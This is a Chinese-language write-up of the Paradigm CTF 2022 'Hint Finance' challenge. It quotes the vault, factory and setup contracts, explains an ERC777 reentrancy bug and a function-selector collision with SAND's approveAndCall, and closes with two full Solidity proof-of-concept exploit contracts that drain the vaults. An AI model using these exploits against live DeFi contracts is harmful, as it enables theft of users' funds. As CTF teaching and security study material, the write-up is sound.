OKLink:2023年7月安全事件盘点
链上卫士:Paradigm CTF 2022 题目浅析—Hint Finance
题目背景
在Paradigm CTF 2022中有着这样一道DeFi金融赛题,它为我们提供了三个参考合约,作为解题帮助。
HintFinanceVault.sol
...
function getRewards() external updateReward(msg.sender) {
for (uint i; i < rewardTokens.length; i++) {
address rewardToken = rewardTokens[i];
uint256 reward = rewards[msg.sender][rewardToken];
if (reward > 0) {
rewards[msg.sender][rewardToken] = 0;
ERC20Like(rewardToken).transfer(msg.sender, reward);
}
}
}
function deposit(uint256 amount) external updateReward(msg.sender) returns (uint256) {
uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
uint256 shares = totalSupply == 0 ? amount : amount * totalSupply / bal;
ERC20Like(underlyingToken).transferFrom(msg.sender, address(this), amount);
totalSupply += shares;
balanceOf[msg.sender] += shares;
return shares;
}
function withdraw(uint256 shares) external updateReward(msg.sender) returns (uint256) {
uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
uint256 amount = shares * bal / totalSupply;
ERC20Like(underlyingToken).transfer(msg.sender, amount);
totalSupply -= shares;
balanceOf[msg.sender] -= shares;
return amount;
}
function flashloan(address token, uint256 amount, bytes calldata data) external updateReward(address(0)) {
uint256 supplyBefore = totalSupply;
uint256 balBefore = ERC20Like(token).balanceOf(address(this));
bool isUnderlyingOrReward = token == underlyingToken || rewardData[token].rewardsDuration != 0;
ERC20Like(token).transfer(msg.sender, amount);
IHintFinanceFlashloanReceiver(msg.sender).onHintFinanceFlashloan(token, factory, amount, isUnderlyingOrReward, data);
uint256 balAfter = ERC20Like(token).balanceOf(address(this));
uint256 supplyAfter = totalSupply;
require(supplyBefore == supplyAfter);
if (isUnderlyingOrReward) {
uint256 extra = balAfter - balBefore;
if (extra > 0 && token != underlyingToken) {
_updateRewardRate(token, extra);
}
} else {
require(balAfter == balBefore); // don't want random tokens to get stuck
}
}
...
该合约是金库类型合约主要提供质押服务和贷款服务,质押服务能获取收益。
HintFinanceFactory.sol
...
function createVault(address token) external returns (address) {
require(underlyingToVault[token] == address(0));
address vault = underlyingToVault[token] = address(new HintFinanceVault(token));
vaultToUnderlying[vault] = token;
return vault;
}
function addRewardToVault(address vault, address rewardToken) external {
require(rewardTokenWhitelist[rewardToken]);
require(vaultToUnderlying[vault] != address(0) && vaultToUnderlying[vault] != rewardToken);
HintFinanceVault(vault).addReward(rewardToken, rewardDuration);
}
...
该合约只提供创建新质押金库功能和添加奖励代币功能。
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.16;
import "./HintFinanceFactory.sol";
interface UniswapV2RouterLike {
function swapExactETHForTokens(uint amountOutMin, address[] memory path, address to, uint deadline) external payable;
}
contract Setup {
address[3] public underlyingTokens = [
0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD,
0x3845badAde8e6dFF049820680d1F14bD3903a5d0,
0xfF20817765cB7f73d4bde2e66e067E58D11095C2
];
address[3] public rewardTokens = [
0xdAC17F958D2ee523a2206206994597C13D831ec7,
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,
0x6B175474E89094C44Da98b954EedeAC495271d0F
];
uint256[3] public initialUnderlyingBalances;
HintFinanceFactory public hintFinanceFactory = new HintFinanceFactory();
constructor() payable {
UniswapV2RouterLike router = UniswapV2RouterLike(0xf164fC0Ec4E93095b804a4795bBe1e041497b92a);
address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address[] memory path = new address[](2);
path[0] = weth;
for (uint256 i = 0; i < underlyingTokens.length; ++i) {
// swap for underlying tokens
path[1] = underlyingTokens[i];
router.swapExactETHForTokens{value: 10 ether}(0, path, address(this), block.timestamp);
// add underlying token to vault
address vault = hintFinanceFactory.createVault(underlyingTokens[i]);
ERC20Like(underlyingTokens[i]).approve(vault, type(uint256).max);
HintFinanceVault(vault).deposit(ERC20Like(underlyingTokens[i]).balanceOf(address(this)));
initialUnderlyingBalances[i] = ERC20Like(underlyingTokens[i]).balanceOf(vault);
}
for (uint256 i = 0; i < rewardTokens.length; ++i) {
hintFinanceFactory.modifyRewardTokenWhitelist(rewardTokens[i], true);
}
}
function isSolved() public view returns (bool) {
for (uint256 i = 0; i < underlyingTokens.length; ++i) {
address vault = hintFinanceFactory.underlyingToVault(underlyingTokens[i]);
uint256 vaultUnderlyingBalance = ERC20Like(underlyingTokens[i]).balanceOf(vault);
if (vaultUnderlyingBalance > initialUnderlyingBalances[i] / 100) return false;
}
return true;
}
}
Setup合约是部署合约,它在初始化时创建了三个质押金库合约并进行初始质押,其质押代币分别为PNT、SAND和AMP,通关条件为取走三个金库中初始质押99%以上的资产。
合约分析
ERC777重入
收集有效信息可以发现,在Setup合约中设置的质押代币PNT和AMP都为ERC777代币,SAND为ERC20代币。结合历史ERC777重入攻击事件,我们先从HintFinanceVault
合约入手检查是否有ERC777重入可能。
function deposit(uint256 amount) external updateReward(msg.sender) returns (uint256) {
uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
uint256 shares = totalSupply == 0 ? amount : amount * totalSupply / bal;
ERC20Like(underlyingToken).transferFrom(msg.sender, address(this), amount);
totalSupply += shares;
balanceOf[msg.sender] += shares;
return shares;
}
function withdraw(uint256 shares) external updateReward(msg.sender) returns (uint256) {
uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
uint256 amount = shares * bal / totalSupply;
ERC20Like(underlyingToken).transfer(msg.sender, amount);
totalSupply -= shares;
balanceOf[msg.sender] -= shares;
return amount;
}
检查HintFinanceVault
合约发现deposit
和withdraw
函数都没有进行重入限制,存在重入风险。
发现利用点,那么如何利用?这需要回到ERC777代币自身特性上来。
简要说明,ERC777 代币是实现了ERC777 标准附属功能的向后兼容性ERC20代币,附属功能中极为重要的就是transfer/transferFrom
函数中都实现了pre-transfer hook
和post-transfer hook
方法。
function transferFrom(address holder, address recipient, uint256 amount) public virtual override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
//pre-transfer hook
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
//post-transfer hook
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
ERC777标准还要求代币转账双方都要进行EIP-1820注册。实际转账过程中:
- 已进行EIP-1820注册,则调用发送者的
pre-transfer hook
- 修改转账人、接收人余额
- 已进行EIP-1820注册,则调用发送者的
post-transfer hook
重入思路:
首先分析deposit
和withdraw
函数的shares
计算逻辑:
Deposit:
shares = amount * totalSupply / bal
Withdraw:
shares = amount * bal / totalSupply
shares
由bal
和totalSupply
决定。
结合代码,在进行重入攻击时相应状态不会立即更新,所以totalSupply
不变,也就是bal
直接决定shares
。
继续深挖,发现可以通过withdraw
函数来重入deposit
函数,保持totalSupply
不变bal
减小而shares
增加。
具体实现:在 post-transfer hook
方法中实现对应ERC777代币的deposit
函数
function tokensReceived(
bytes4 functionSig,
bytes32 partition,
address operator,
address from,
address to,
uint256 value,
bytes calldata data,
bytes calldata operatorData
) external {
if (operator == address(ampVault) && doReDeposit) {
ERC20Like amp = ERC20Like(ampVault.underlyingToken());
ampVault.deposit(amp.balanceOf(address(this)));
}
}
函数选择器碰撞
继续顺着代币存在潜在风险的的思想,检查sand代币,果然发现其不同于普通的ERC20代币,也有类似ERC777协议的附属功能实现,但是并不存在可利用的hook。
那么只能回到HintFinanceVault
合约中,检查新的可利用外部调用。发现在flashloan
函数中还存在onHintFinanceFlashloan
方法能进行外部回调,但是flashloan
函数有做借贷资产前后余额变化的校验,也就无法直接通过重入flashloan
函数来完成攻击。
再仔细检查sand代币附属功能,发现这样一个函数approveAndCall
,它能对某个对象进行授权后再发起call
调用。考虑到网络钓鱼中常见的ERC20授权攻击,这是值得注意的问题,但这依然无法直接利用。
functionapproveAndCall( address target, uint256 amount, bytes calldata data) external payable returns (bytes memory) {require(BytesUtil.doFirstParamEqualsAddress(data, msg.sender),"first param != sender" );_approveFor(msg.sender, target, amount);// solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(msg.value)(data);require(success, string(returnData));return returnData; }
还有一种可能,既然函数不存在问题那函数选择器是否存在风险?因为在ABI 规范中规定了函数选择器必须是函数签名的前 4 个字节,而这存在碰撞风险。果然,onHintFinanceFlashloan
与approveAndCall
方法的函数选择器相同。
利用思路:
首先要解决onHintFinanceFlashloan
与approveAndCall
传参calldata
如何保持格式一致的问题。
onHintFinanceFlashloan
与approveAndCall
参数对比
0x20 vault: token, SAND: target
0x40 vault: factory SAND: amount
0x60 vault: amount SAND: ?
0x80 vault: isUnderlyingOrReward SAND: ?
0xa0 vault: data SAND: data
在参数对比中有两个地方需要我们构建,SAND对应0x60和0x80的数据。对应vault: amount
部分,可以用0xa0
来填充这将让approveAndCall
在尝试获取数据时会找到data
提供的数据 。对应vault: isUnderlyingOrReward
部分,由于数据是bool
类型因此可以直接用0填充。还有一点要注意的是在approveAndCal
方法中要求第一个参数是必须是msg.sender
,因此第一个参数必须是对应HintFinanceVault
合约地址。
最后由于approve
对象是代币合约类型,因此攻击合约还可以伪装成代币合约,或者直接将balanceOf
编码进data
中。
ERC777重入POC:
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.13;
import "./Setup.sol";
import "./HintFinanceVault.sol";
interface IERC1820Registry {
function setInterfaceImplementer(
address account,
bytes32 interfaceHash,
address implementer
) external;
}
contract ERC777Reenterer {
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
keccak256("ERC777TokensRecipient");
IERC1820Registry internal constant _ERC1820_REGISTRY =
IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bytes32 private constant _AMP_INTERFACE_HASH =
keccak256("AmpTokensRecipient");
HintFinanceVault internal immutable pntVault;
HintFinanceVault internal immutable ampVault;
address pntAddr = 0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD;
address ampAddr = 0xfF20817765cB7f73d4bde2e66e067E58D11095C2;
bool internal doReDeposit = true;
constructor(address _pntVault, address _ampVault) {
_ERC1820_REGISTRY.setInterfaceImplementer(
address(0),
_TOKENS_RECIPIENT_INTERFACE_HASH,
address(this)
);
_ERC1820_REGISTRY.setInterfaceImplementer(
address(0),
_AMP_INTERFACE_HASH,
address(this)
);
pntVault = HintFinanceVault(_pntVault);
ampVault = HintFinanceVault(_ampVault);
}
function depositPnt() public {
ERC20Like pnt = ERC20Like(pntVault.underlyingToken());
pnt.approve(address(pntVault), type(uint256).max);
pntVault.deposit(pnt.balanceOf(address(this)));
}
function depositAmp() public {
ERC20Like amp = ERC20Like(ampVault.underlyingToken());
amp.approve(address(ampVault), type(uint256).max);
ampVault.deposit(amp.balanceOf(address(this)));
}
function doPntDiluteCycle() public {
pntVault.withdraw(pntVault.balanceOf(address(this)));
}
function doAmpDiluteCycle() public {
ampVault.withdraw(ampVault.balanceOf(address(this)));
}
function cashOutPnt() public {
ERC20Like pnt = ERC20Like(pntVault.underlyingToken());
doReDeposit = false;
pntVault.withdraw(pntVault.balanceOf(address(this)));
doReDeposit = true;
pnt.transfer(msg.sender, pnt.balanceOf(address(this)));
}
function cashOutAmp() public {
ERC20Like amp = ERC20Like(ampVault.underlyingToken());
doReDeposit = false;
ampVault.withdraw(ampVault.balanceOf(address(this)));
doReDeposit = true;
amp.transfer(msg.sender, amp.balanceOf(address(this)));
}
function _buyWithEth(
address _token,
uint256 _amount,
address _recipient
) internal {
address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address[] memory path = new address[](2);
path[0] = weth;
path[1] = _token;
UniswapV2RouterLike(0xf164fC0Ec4E93095b804a4795bBe1e041497b92a)
.swapExactETHForTokens{value: _amount}(
0,
path,
_recipient,
block.timestamp + 7 days
);
}
function test() public payable {
_buyWithEth(pntAddr, 100 ether, address(this));
depositPnt();
doPntDiluteCycle();
doPntDiluteCycle();
doPntDiluteCycle();
doPntDiluteCycle();
cashOutPnt();
_buyWithEth(ampAddr, 100 ether, address(this));
depositAmp();
doAmpDiluteCycle();
doAmpDiluteCycle();
doAmpDiluteCycle();
doAmpDiluteCycle();
cashOutAmp();
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external {
if (operator == address(pntVault) && doReDeposit) {
ERC20Like pnt = ERC20Like(pntVault.underlyingToken());
pntVault.deposit(pnt.balanceOf(address(this)));
}
}
function tokensReceived(
bytes4 functionSig,
bytes32 partition,
address operator,
address from,
address to,
uint256 value,
bytes calldata data,
bytes calldata operatorData
) external {
if (operator == address(ampVault) && doReDeposit) {
ERC20Like amp = ERC20Like(ampVault.underlyingToken());
ampVault.deposit(amp.balanceOf(address(this)));
}
}
}
SandPOC
pragma solidity ^0.8.13;
import "./Setup.sol";
import "./HintFinanceVault.sol";
interface ISand {
function approveAndCall(address _target,uint256 _amount,bytes calldata _data) external;
function balanceOf(address who) external view returns (uint);
function transferFrom(address src, address dst, uint qty) external returns (bool);
}
contract Token1 {
fallback() external {}
function transfer(address, uint256) external returns (bool) {
return true;
}
function balanceOf(address) external view returns (uint256) {
return 1e18;
}
function Sandtest(address _sandVault, ISand _sand) external {
bytes memory innerPayload = abi.encodeWithSelector(
bytes4(0x00000000),
_sandVault,
bytes32(0),
bytes32(0),
bytes32(0)
);
bytes memory payload = abi.encodeCall(
HintFinanceVault.flashloan,
(address(this), 0xa0, innerPayload)
);
_sand.approveAndCall(_sandVault, type(uint256).max, payload);
_sand.transferFrom(_sandVault, msg.sender, _sand.balanceOf(_sandVault));
}
}
contract SandPOC {
Setup setup = Setup(0xB40a90fdB0163cA5C82D1959dB7e56B50A0dC016);
ISand sand = ISand(0x3845badAde8e6dFF049820680d1F14bD3903a5d0);
function test() public {
HintFinanceVault sandVault = HintFinanceVault(
setup.hintFinanceFactory().underlyingToVault(address(sand))
);
Token1 token1 = new Token1();
token1.Sandtest(address(sandVault), sand);
}
}